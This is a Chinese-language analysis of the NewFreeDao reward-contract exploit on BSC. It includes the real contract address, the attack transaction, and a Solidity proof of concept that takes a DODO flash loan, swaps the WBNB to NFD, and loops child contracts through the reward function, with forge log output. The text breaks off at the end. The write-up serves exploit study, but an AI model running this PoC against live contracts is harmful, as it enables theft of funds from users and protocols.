NewFreeDao获取奖励漏洞分析

说明

前面分享了一个有关ATK代币获取奖励的漏洞，本质上还是对于获取奖励机制的方法太过于简单。本篇文章分享的NewFreeDao也是奖励机制存在问题，和ATK的漏洞一样，存在漏洞的合约也是一个闭源合约，但还是被攻击了。

漏洞合约是一个闭源合约，0x8B068E22E9a4A9bcA3C321e0ec428AbF32691D1E

NewFreeDao，是用于奖励的代币

攻击交易，0x1fea385acf7ff046d928d4041db017e1d7ead66727ce7aacb3296b9d485d4a26

漏洞分析

正常交易分析

因为漏洞合约是一个闭源合约，所以我们并不能通过合约分析出漏洞位置和原理，还是通过已有的交易来分析漏洞点。

本次分析的正常的交易是：0x92c72bb1d47ab30abb1cf2ee55137e1001383bfdf9ae4c51f18644425386e2e8

调用漏洞合约的0x6811e3b9方法，就获得了NFD的代币。

分析调用栈信息：0x92c72bb1d47ab30abb1cf2ee55137e1001383bfdf9ae4c51f18644425386e2e8

根据调用栈分析：

调用漏洞合约中0x6811e3b9()
漏洞合约计算目标账户中的NFD代币余额
根据第二步中的计算账户中的NFD的数量发布奖励

根据0x6811e3b9()的说法，我们账户中如果存在大量的NFD代币，那么响应的获取的奖励也就越多。那么我们就可以通过闪电贷完成这样的攻击。

攻击交易分析

攻击合约分析，0x1fea385acf7ff046d928d4041db017e1d7ead66727ce7aacb3296b9d485d4a26

通过分析攻击交易中的Token转移交易，猜测内部的交易过程如下：

攻击合约0xa35ef9fa2f5e0527cb9fbb6f9d3a24cfed948863通过闪电贷最终获得大量的NFD
攻击合约创建子合约0x9f49375d30dd556776c14e95fb2502ac7e09a281，并向子合约转账NFD
漏洞合约合约0x8B068E22E9a4A9bcA3C321e0ec428AbF32691D1E向子合约0x9f49375d30dd556776c14e95fb2502ac7e09a281转账(估计是获得了代币奖励)
重复2-3步，不断滴获得代币奖励

通过Tokens Transferred，大致猜测出了攻击合约的调用方法。

通过调用栈分析，0x1fea385acf7ff046d928d4041db017e1d7ead66727ce7aacb3296b9d485d4a26

第一步，通过闪电贷获得WBNB之后，将WBNB通过swap，替换为NewFreeDAO

第二步，攻击合约(0xa35ef9fa2f5e0527cb9fbb6f9d3a24cfed948863)创建子合约(0x9f49375d30dd556776c14e95fb2502ac7e09a281)，并向子合约转账NFD

第三步，子合约(0x9f49375d30dd556776c14e95fb2502ac7e09a281调用漏洞合约(0x8b068e22e9a4a9bca3c321e0ec428abf32691d1e)的获取奖励方法0x6811e3b9

最终通过子合约获得的奖励，全部转移到攻击合约(0x8b068e22e9a4a9bca3c321e0ec428abf32691d1e)中。

第四步，子合约自行销毁

第五步，攻击合约(0x8b068e22e9a4a9bca3c321e0ec428abf32691d1e)继续创建子合约重复步骤二、步骤三、步骤四

漏洞复现

既然通过攻击交易0x1fea385acf7ff046d928d4041db017e1d7ead66727ce7aacb3296b9d485d4a26，明白了整个攻击流程。我们模仿这个攻击分步写出Poc。

本次的漏洞复现分成三部分：

第一步

通过DODO闪电贷出250个WBNB，然后在PancakeRouter中变为NFD的token，作为攻击的初始攻击资产。

DVM(dodo).flashLoan(0, 250*1e18, address(this), data);

function DVMFlashLoanCall(address sender, uint256 baseAmount, uint256 quoteAmount, bytes calldata data) external {
    require(IERC20(wbnb).balanceOf(address(this)) == quoteAmount, "Invalid WBNB amount");
    require(quoteAmount == 250*1e18, "Invalid WBNB amount");

    console.log("Swap 250 WBNB to NFD...");
    address[] memory path = new address[](3);
    path[0] = wbnb;
    path[1] = usdt;
    path[2] = nfd;
    IERC20(wbnb).approve(address(PancakeRouter), type(uint256).max);
    // 将通过闪电贷获得的250 WBNB全部swap成为NFD
    PancakeRouter.swapExactTokensForTokensSupportingFeeOnTransferTokens(quoteAmount, 0, path, address(this), block.timestamp);
    ...
}

第二步

创建子合约，并将资金全部转移到子合约中，这里为了方便演示，仅仅只是循环创建一个子合约。

console.log("Abuse the Reward Contract...");
    for(uint8 i; i < 1; i++){
        // 创建子合约
        Exploit exploit = new Exploit();
        uint256 nfdAmount = IERC20(nfd).balanceOf(address(this));
        // 将闪电贷得到的NFD转给子合约
        IERC20(nfd).transfer(address(exploit), nfdAmount);
        // 调用子合约的攻击函数
        exploit.abuse();
    }

第三步

子合约调用漏洞合约(0x8B068E22E9a4A9bcA3C321e0ec428AbF32691D1E)的0x6811e3b9函数，领取奖励，并将奖励和资产又全部转移到攻击合约中

// 子合约代码
contract Exploit is Test {
    address constant rewardContract = vulnContract;
    address constant nfd = 0x38C63A5D3f206314107A7a9FE8cBBa29D629D4F9;

    // Function 0xe2f9d09c
    function abuse() external {
        // 调用漏洞函数的0x6811e3b9方法，获取奖励
        rewardContract.call(abi.encode(bytes4(0x6811e3b9)));
        uint256 bal = IERC20(nfd).balanceOf(address(this));
        // 通过IERC20(nfd).transfer(msg.sender, bal)，将NFD转给攻击合约
        require(IERC20(nfd).transfer(msg.sender, bal), "Transfer profit failed");
    }
}

第四步

攻击合约继续重复步骤三和步骤四，不断获取奖励。

第五步

归还闪电贷还款。

在实际测试过程中，我为了方便查看分析结果，仅仅只是进行了1次循环攻击，发现整个攻击攻击最终是revert了，循环50次之后攻击，攻击交易就成功了。后面分析攻击失败的原因，是在于循环一次攻击虽然也获得了盈利，但是因为最开始需要将贷出的WBNB换成NFD，最终归还闪电贷时需要将NFD换成WBNB，这个中间存在滑点，所以如果仅仅只是循环攻击一次，那么最终滑点导致的损失可能不足以支付闪电贷而失败了。日志情况如下所示：

# 初始情况是，250 WBNB
log_named_decimal_uint(key: [*] WBNB before attack, val: 250000000000000000000, decimals: 18) 

# 250WBNB兑换为NFD是，6313508
log_named_decimal_uint(key: [*] NFD balance before attack, val: 6313508973101744640040048, decimals: 18)

# 进行一次攻击获得的NFD是6838792 ，比较攻击之前多了大约是500000个NFD
log_named_decimal_uint(key: [*] NFD balance after attack, val: 6838792919663809794091378, decimals: 18)

# 最终将所有的 6838792个 NFD全部转换诶WBNB，只有 177个
log_named_decimal_uint(key: [*] wbnb balance after attack, val: 177077916331461591092, decimals: 18)

可以看到虽然NFD变多了，但是最后兑换出来的WBNB却变少了，所以只进行一次攻击是不够的。

最终利用forge测试得到的调用栈信息如下所示：

DODO闪电贷